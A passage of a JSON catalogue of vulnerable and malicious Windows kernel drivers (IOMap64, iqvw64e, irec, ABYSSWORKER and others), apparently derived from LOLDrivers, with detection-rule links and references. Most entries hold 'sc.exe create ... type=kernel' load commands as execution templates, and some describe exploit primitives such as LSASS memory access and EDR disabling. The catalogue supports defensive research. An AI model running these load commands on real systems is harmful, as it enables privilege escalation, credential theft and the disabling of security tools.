        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create IOMap64.sys binPath=C:\\windows\\temp\\IOMap64.sys type=kernel && sc.exe start IOMap64.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-iomap64",
    "install": [
      {
        "method": "custom",
        "description": "Load IOMap64.sys kernel driver",
        "commands": [
          "sc.exe create IOMap64.sys binPath=C:\\windows\\temp\\IOMap64.sys type=kernel && sc.exe start IOMap64.sys"
        ]
      }
    ],
    "name": "IOMap64.sys",
    "namespace": "windows:kernel:iomap64",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/elastic/protections-artifacts/search?q=VulnDriver"
      },
      {
        "label": "Reference",
        "url": "https://www.asus.com/content/asus-product-security-advisory/"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create iomem64.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\iomem64.sys type=kernel && sc.exe start iomem64.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver iomem64.sys\"\n\n# iomem64.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-iomem64.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/3d23bdbaf9905259d858df5bf991eb23d2dc9f4ecda7f9f77839691acef1b8c4.yara"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/dd4a1253d47de14ef83f1bc8b40816a86ccf90d1e624c5adf9203ae9d51d4097.yara"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create iomem64.sys binPath=C:\\windows\\temp\\iomem64.sys type=kernel && sc.exe start iomem64.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-iomem64",
    "install": [
      {
        "method": "custom",
        "description": "Load iomem64.sys kernel driver",
        "commands": [
          "sc.exe create iomem64.sys binPath=C:\\windows\\temp\\iomem64.sys type=kernel && sc.exe start iomem64.sys"
        ]
      }
    ],
    "name": "iomem64.sys",
    "namespace": "windows:kernel:iomem64",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/namazso/physmem_drivers"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create ipctype binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\ipctype.sys type=kernel && sc.exe start ipctype\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver ipctype.sys\"\n\n# ipctype.sys\n\nipctype.sys is a kernel driver from Digital Electronics Corporation that exposes physical memory read/write via MmMapIoSpace. The driver is available in the KeServiceDescriptorTable/vulnerable-drivers repository.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-ipctype.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "ipctype.sys is a kernel driver from Digital Electronics Corporation that exposes physical memory read/write via MmMapIoSpace. The driver is available in the KeServiceDescriptorTable/vulnerable-drivers repository.",
    "execution": {
      "template": "sc.exe create ipctype binPath=C:\\windows\\temp\\ipctype.sys type=kernel && sc.exe start ipctype",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "process-manip",
      "requires-root"
    ],
    "id": "windows-kernel-ipctype",
    "install": [
      {
        "method": "custom",
        "description": "Load ipctype.sys kernel driver",
        "commands": [
          "sc.exe create ipctype binPath=C:\\windows\\temp\\ipctype.sys type=kernel && sc.exe start ipctype"
        ]
      }
    ],
    "name": "ipctype.sys",
    "namespace": "windows:kernel:ipctype",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/magicsword-io/LOLDrivers/issues/313"
      },
      {
        "label": "Reference",
        "url": "https://github.com/KeServiceDescriptorTable/vulnerable-drivers"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create iQVW64.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\iQVW64.SYS type=kernel && sc.exe start iQVW64.SYS\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver iQVW64.SYS\"\n\n# iQVW64.SYS\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-iqvw64.md",
    "author": "Nasreddine Bencherchali",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create iQVW64.sys binPath=C:\\windows\\temp\\iQVW64.SYS type=kernel && sc.exe start iQVW64.SYS",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-iqvw64",
    "install": [
      {
        "method": "custom",
        "description": "Load iQVW64.SYS kernel driver",
        "commands": [
          "sc.exe create iQVW64.sys binPath=C:\\windows\\temp\\iQVW64.SYS type=kernel && sc.exe start iQVW64.SYS"
        ]
      }
    ],
    "name": "iQVW64.SYS",
    "namespace": "windows:kernel:iqvw64",
    "platforms": [
      "windows"
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create iqvw64e.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\iqvw64e.sys type=kernel && sc.exe start iqvw64e.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver iqvw64e.sys\"\n\n# iqvw64e.sys\n\n(1) IQVW32.sys before 1.3.1.0 and (2) IQVW64.sys before 1.3.1.0 in the Intel Ethernet diagnostics driver for Windows allows local users to cause a denial of service or possibly execute arbitrary code with kernel privileges via a crafted (a) 0x80862013, (b) 0x8086200B, (c) 0x8086200F, or (d) 0x80862007 IOCTL call.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-iqvw64e.md",
    "author": "Michael Haag, Guus Verbeek",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "(1) IQVW32.sys before 1.3.1.0 and (2) IQVW64.sys before 1.3.1.0 in the Intel Ethernet diagnostics driver for Windows allows local users to cause a denial of service or possibly execute arbitrary code with kernel privileges via a crafted (a) 0x80862013, (b) 0x8086200B, (c) 0x8086200F, or (d) 0x80862007 IOCTL call.",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/4429f32db1cc70567919d7d47b844a91cf1329a6cd116f582305f3b7b60cd60b.yara"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create iqvw64e.sys binPath=C:\\windows\\temp\\iqvw64e.sys type=kernel && sc.exe start iqvw64e.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "local",
      "pipes-stdin",
      "process-manip",
      "requires-root"
    ],
    "id": "windows-kernel-iqvw64e",
    "install": [
      {
        "method": "custom",
        "description": "Load iqvw64e.sys kernel driver",
        "commands": [
          "sc.exe create iqvw64e.sys binPath=C:\\windows\\temp\\iqvw64e.sys type=kernel && sc.exe start iqvw64e.sys"
        ]
      }
    ],
    "name": "iqvw64e.sys",
    "namespace": "windows:kernel:iqvw64e",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://www.crowdstrike.com/blog/scattered-spider-attempts-to-avoid-detection-with-bring-your-own-vulnerable-driver-tactic/"
      },
      {
        "label": "Reference",
        "url": "https://expel.com/blog/well-that-escalated-quickly-how-a-red-team-went-from-domain-user-to-kernel-memory/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/Exploitables/CVE-2015-2291"
      },
      {
        "label": "Reference",
        "url": "https://github.com/Tare05/Intel-CVE-2015-2291"
      },
      {
        "label": "Reference",
        "url": "https://github.com/TheCruZ/kdmapper"
      },
      {
        "label": "Reference",
        "url": "https://gist.github.com/k4nfr3/af970e7facb09195e56f2112e1c9549c"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create irec binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\irec.sys type=kernel && sc.exe start irec.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver irec.sys\"\n\n# irec.sys\n\nThe driver in question, identified as \\\\.\\IREC, provides an interface for external programs to directly interact with system processes. Its key functionality is encapsulated in the OPENPROCESS function which, upon receiving a Process ID (PID), returns a handle to that specific process operating within the kernels domain. The vulnerability emerges from the indiscriminate nature of this functionality. An ill-intentioned actor can exploit this to obtain handles to critical processes like LSASS. With a hardcoded access mask of 0x410, this driver essentially grants PROCESS_QUERY_INFORMATION and PROCESS_VM_READ permissions, enabling unauthorized memory dumps from privileged processes, all from an unprivileged context.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-irec.md",
    "author": "Nasreddine Bencherchali",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "The driver in question, identified as \\\\.\\IREC, provides an interface for external programs to directly interact with system processes. Its key functionality is encapsulated in the OPENPROCESS function which, upon receiving a Process ID (PID), returns a handle to that specific process operating within the kernels domain. The vulnerability emerges from the indiscriminate nature of this functionality. An ill-intentioned actor can exploit this to obtain handles to critical processes like LSASS. ...",
    "execution": {
      "template": "sc.exe create irec binPath=C:\\windows\\temp\\irec.sys type=kernel && sc.exe start irec.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "process-manip",
      "requires-root"
    ],
    "id": "windows-kernel-irec",
    "install": [
      {
        "method": "custom",
        "description": "Load irec.sys kernel driver",
        "commands": [
          "sc.exe create irec binPath=C:\\windows\\temp\\irec.sys type=kernel && sc.exe start irec.sys"
        ]
      }
    ],
    "name": "irec.sys",
    "namespace": "windows:kernel:irec",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://blog.dru1d.ninja/windows-driver-exploit-development-irec-sys-a5eb45093945"
      },
      {
        "label": "Reference",
        "url": "https://gist.github.com/dru1d-foofus/1af21179f253879f101c3a8d4f718bf0"
      },
      {
        "label": "Reference",
        "url": "https://www.binalyze.com/irec"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create iscflashx64.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\iscflashx64.sys type=kernel && sc.exe start iscflashx64.sys\"\n\n# iscflashx64.sys\n\nCVE-2021-33834\n\n**Use Case:** firmware erasing/modification\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1542\n",
    "_source": "windows-kernel-iscflashx64.md",
    "author": "Takahiro Haruyama",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "CVE-2021-33834",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create iscflashx64.sys binPath=C:\\windows\\temp\\iscflashx64.sys type=kernel && sc.exe start iscflashx64.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-iscflashx64",
    "install": [
      {
        "method": "custom",
        "description": "Load iscflashx64.sys kernel driver",
        "commands": [
          "sc.exe create iscflashx64.sys binPath=C:\\windows\\temp\\iscflashx64.sys type=kernel && sc.exe start iscflashx64.sys"
        ]
      }
    ],
    "name": "iscflashx64.sys",
    "namespace": "windows:kernel:iscflashx64",
    "platforms": [
      "windows"
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create isodrivep64.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\isodrivep64.sys type=kernel && sc.exe start isodrivep64.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver isodrivep64.sys\"\n\n# isodrivep64.sys\n\nABYSSWORKER is a malicious driver used in MEDUSA ransomware attacks to disable EDR systems. The driver masquerades as a legitimate CrowdStrike Falcon driver and provides extensive capabilities to terminate processes, remove security callbacks, manipulate files, and disable security tools. It uses stolen certificates from Chinese companies and requires a specific password for activation. The driver was observed being deployed alongside HEARTCRYPT-packed loaders and provides attackers with kernel-level capabilities to blind EDR products by removing notification callbacks, detaching mini-filter devices, and replacing driver major functions.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n\n**Variants:** 2 known variants\n",
    "_source": "windows-kernel-isodrivep64.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "ABYSSWORKER is a malicious driver used in MEDUSA ransomware attacks to disable EDR systems. The driver masquerades as a legitimate CrowdStrike Falcon driver and provides extensive capabilities to terminate processes, remove security callbacks, manipulate files, and disable security tools. It uses stolen certificates from Chinese companies and requires a specific password for activation. The driver was observed being deployed alongside HEARTCRYPT-packed loaders and provides attackers with kern...",
    "execution": {
      "template": "sc.exe create isodrivep64.sys binPath=C:\\windows\\temp\\isodrivep64.sys type=kernel && sc.exe start isodrivep64.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "encryption",
      "file-system",
      "local",
      "pipes-stdin",
      "pipes-stdout",
      "process-manip",
      "requires-root"
    ],
    "id": "windows-kernel-isodrivep64",
    "install": [
      {
        "method": "custom",
        "description": "Load isodrivep64.sys kernel driver",
        "commands": [
          "sc.exe create isodrivep64.sys binPath=C:\\windows\\temp\\isodrivep64.sys type=kernel && sc.exe start isodrivep64.sys"
        ]
      }
    ],
    "name": "isodrivep64.sys",
    "namespace": "windows:kernel:isodrivep64",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://www.elastic.co/security-labs/abyssworker"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create IUForceDelete binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\IUForceDelete.sys type=kernel && sc.exe start IUForceDelete\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver IUForceDelete.sys\"\n\n# IUForceDelete.sys\n\nIUForceDelete.sys is a vulnerable kernel driver from the KeServiceDescriptorTable/vulnerable-drivers repository. The driver exposes dangerous kernel primitives to usermode.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-iuforcedelete.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "IUForceDelete.sys is a vulnerable kernel driver from the KeServiceDescriptorTable/vulnerable-drivers repository. The driver exposes dangerous kernel primitives to usermode.",
    "execution": {
      "template": "sc.exe create IUForceDelete binPath=C:\\windows\\temp\\IUForceDelete.sys type=kernel && sc.exe start IUForceDelete",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "process-manip",
      "requires-root"
    ],
    "id": "windows-kernel-iuforcedelete",
    "install": [
      {
        "method": "custom",
        "description": "Load IUForceDelete.sys kernel driver",
        "commands": [
          "sc.exe create IUForceDelete binPath=C:\\windows\\temp\\IUForceDelete.sys type=kernel && sc.exe start IUForceDelete"
        ]
      }
    ],
    "name": "IUForceDelete.sys",
    "namespace": "windows:kernel:iuforcedelete",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/magicsword-io/LOLDrivers/issues/325"
      },
      {
        "label": "Reference",
        "url": "https://github.com/KeServiceDescriptorTable/vulnerable-drivers"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create jnprva binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\jnprva.sys type=kernel && sc.exe start jnprva\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver jnprva.sys\"\n\n# jnprva.sys\n\nNorthwave Cyber Security contributed this driver based on in-house research. The driver has a CVSSv3 score of 8.8, indicating a privilege escalation impact. This vulnerability could potentially be exploited for privilege escalation or other malicious activities.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-jnprva.md",
    "author": "Northwave Cyber Security",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Northwave Cyber Security contributed this driver based on in-house research. The driver has a CVSSv3 score of 8.8, indicating a privilege escalation impact. This vulnerability could potentially be exploited for privilege escalation or other malicious activities.",
    "execution": {
      "template": "sc.exe create jnprva binPath=C:\\windows\\temp\\jnprva.sys type=kernel && sc.exe start jnprva",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "pipes-stdin",
      "pipes-stdout",
      "requires-root"
    ],
    "id": "windows-kernel-jnprva",
    "install": [
      {
        "method": "custom",
        "description": "Load jnprva.sys kernel driver",
        "commands": [
          "sc.exe create jnprva binPath=C:\\windows\\temp\\jnprva.sys type=kernel && sc.exe start jnprva"
        ]
      }
    ],
    "name": "jnprva.sys",
    "namespace": "windows:kernel:jnprva",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://northwave-cybersecurity.com/ivanti-pulse-vpn-privilege-escalation"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create jokercontroller.sys binPath=C:\\\\windows\\\\temp\\\\jokercontroller.sys type=kernel && sc.exe start jokercontroller.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver jokercontroller.sys\"\n\n# jokercontroller.sys\n\nConfirmed vulnerable driver from Microsoft Block List\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-jokercontroller.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Confirmed vulnerable driver from Microsoft Block List",
    "detections": [
      {
        "type": "other"
      }
    ],
    "execution": {
      "template": "",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "pipes-stdout",
      "requires-root"
    ],
    "id": "windows-kernel-jokercontroller",
    "name": "jokercontroller.sys",
    "namespace": "windows:kernel:jokercontroller",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://gist.github.com/mgraeber-rc/1bde6a2a83237f17b463d051d32e802c"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create K7RKScan.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\K7RKScan.sys type=kernel && sc.exe start K7RKScan.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver K7RKScan.sys\"\n\n# K7RKScan.sys\n\nDriver can be used to load unsigned drivers\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n\n**Variants:** 2 known variants\n",
    "_source": "windows-kernel-k7rkscan.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Driver can be used to load unsigned drivers",
    "execution": {
      "template": "sc.exe create K7RKScan.sys binPath=C:\\windows\\temp\\K7RKScan.sys type=kernel && sc.exe start K7RKScan.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "network-intensive",
      "pipes-stdin",
      "requires-root"
    ],
    "id": "windows-kernel-k7rkscan",
    "install": [
      {
        "method": "custom",
        "description": "Load K7RKScan.sys kernel driver",
        "commands": [
          "sc.exe create K7RKScan.sys binPath=C:\\windows\\temp\\K7RKScan.sys type=kernel && sc.exe start K7RKScan.sys"
        ]
      }
    ],
    "name": "K7RKScan.sys",
    "namespace": "windows:kernel:k7rkscan",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/BlackSnufkin/BYOVD"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create KApcHelper_x64.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\KApcHelper_x64.sys type=kernel && sc.exe start KApcHelper_x64.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver KApcHelper_x64.sys\"\n\n# KApcHelper_x64.sys\n\nVulnerable driving using the stolen Nvidia Certificate.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-kapchelper-x64.md",
    "author": "Guus Verbeek",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Vulnerable driving using the stolen Nvidia Certificate.",
    "execution": {
      "template": "sc.exe create KApcHelper_x64.sys binPath=C:\\windows\\temp\\KApcHelper_x64.sys type=kernel && sc.exe start KApcHelper_x64.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "encryption",
      "pipes-stdout",
      "requires-root"
    ],
    "id": "windows-kernel-kapchelper-x64",
    "install": [
      {
        "method": "custom",
        "description": "Load KApcHelper_x64.sys kernel driver",
        "commands": [
          "sc.exe create KApcHelper_x64.sys binPath=C:\\windows\\temp\\KApcHelper_x64.sys type=kernel && sc.exe start KApcHelper_x64.sys"
        ]
      }
    ],
    "name": "KApcHelper_x64.sys",
    "namespace": "windows:kernel:kapchelper-x64",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://www.mandiant.com/resources/blog/hunting-attestation-signed-malware"
      }
    ],
    "risk_level": "critical",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create kavservice.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\kavservice.sys type=kernel && sc.exe start kavservice.sys\"\n\n# kavservice.bin\n\n**Use Case:** EDR Kill\n\n**Required Privileges:** Admin privileges\n\n**MITRE ATT&CK:** T1562\n",
    "_source": "windows-kernel-kavservice-bin.md",
    "author": "Antonio Parata, Andrea Monzani",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "EDR Kill",
    "execution": {
